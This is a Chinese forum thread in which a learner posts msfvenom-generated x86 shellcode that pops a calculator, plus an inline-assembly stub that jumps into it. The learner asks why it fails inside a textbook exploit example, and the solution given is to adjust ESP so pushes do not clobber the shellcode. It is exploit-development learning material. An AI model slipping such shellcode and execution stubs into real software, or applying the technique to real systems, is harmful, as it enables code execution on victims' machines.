首页
社区
课程
招聘
未解决 msfvenom 生成shellcode无法插入程序中执行
发表于: 2019-3-20 16:02 2269

未解决 msfvenom 生成shellcode无法插入程序中执行

2019-3-20 16:02
2269

msfvenom 生成 payload 无法执行问题

我用 msfvenom 生成了一段弹出计算器的payload如下:

unsigned char buf[] = 
"\xd9\xce\xd9\x74\x24\xf4\xb8\x84\xab\x61\x40\x5f\x29\xc9\xb1"
"\x31\x31\x47\x18\x03\x47\x18\x83\xef\x78\x49\x94\xbc\x68\x0c"
"\x57\x3d\x68\x71\xd1\xd8\x59\xb1\x85\xa9\xc9\x01\xcd\xfc\xe5"
"\xea\x83\x14\x7e\x9e\x0b\x1a\x37\x15\x6a\x15\xc8\x06\x4e\x34"
"\x4a\x55\x83\x96\x73\x96\xd6\xd7\xb4\xcb\x1b\x85\x6d\x87\x8e"
"\x3a\x1a\xdd\x12\xb0\x50\xf3\x12\x25\x20\xf2\x33\xf8\x3b\xad"
"\x93\xfa\xe8\xc5\x9d\xe4\xed\xe0\x54\x9e\xc5\x9f\x66\x76\x14"
"\x5f\xc4\xb7\x99\x92\x14\xff\x1d\x4d\x63\x09\x5e\xf0\x74\xce"
"\x1d\x2e\xf0\xd5\x85\xa5\xa2\x31\x34\x69\x34\xb1\x3a\xc6\x32"
"\x9d\x5e\xd9\x97\x95\x5a\x52\x16\x7a\xeb\x20\x3d\x5e\xb0\xf3"
"\x5c\xc7\x1c\x55\x60\x17\xff\x0a\xc4\x53\xed\x5f\x75\x3e\x7b"
"\xa1\x0b\x44\xc9\xa1\x13\x47\x7d\xca\x22\xcc\x12\x8d\xba\x07"
"\x57\x61\xf1\x0a\xf1\xea\x5c\xdf\x40\x77\x5f\x35\x86\x8e\xdc"
"\xbc\x76\x75\xfc\xb4\x73\x31\xba\x25\x09\x2a\x2f\x4a\xbe\x4b"
"\x7a\x29\x21\xd8\xe6\x80\xc4\x58\x8c\xdc";

用如下程序测试的时候是可以弹出计算器的

void main()
{
    __asm
    {
        lea eax, shellcode
        push eax
        ret
    }
}

但是当我用这个shellcode替换0day书上例子里的shellcode的时候就会出错,无法弹出计算器。用0day给的shellcode是可以弹出消息框的。
(我使用的是Windows XP sp3, 关掉了DEP,编译器用的是VC++6.0,生成release版本,禁止优化)。
各位前辈知道这是为什么吗?还望不吝赐教,谢谢!!!


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 1411
活跃值: (737)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
直接用IDE单步汇编调试就知道错误了
2019-3-20 18:03
0
雪    币: 45
活跃值: (2485)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
楼上正解
2019-3-20 18:53
0
雪    币: 1196
活跃值: (73)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
谢谢,已经找到解决方案了,要调整ESP保证PUSH操作不会破坏shellcode就行了。
2019-3-24 21:13
0
游客
登录 | 注册 方可回帖
返回
//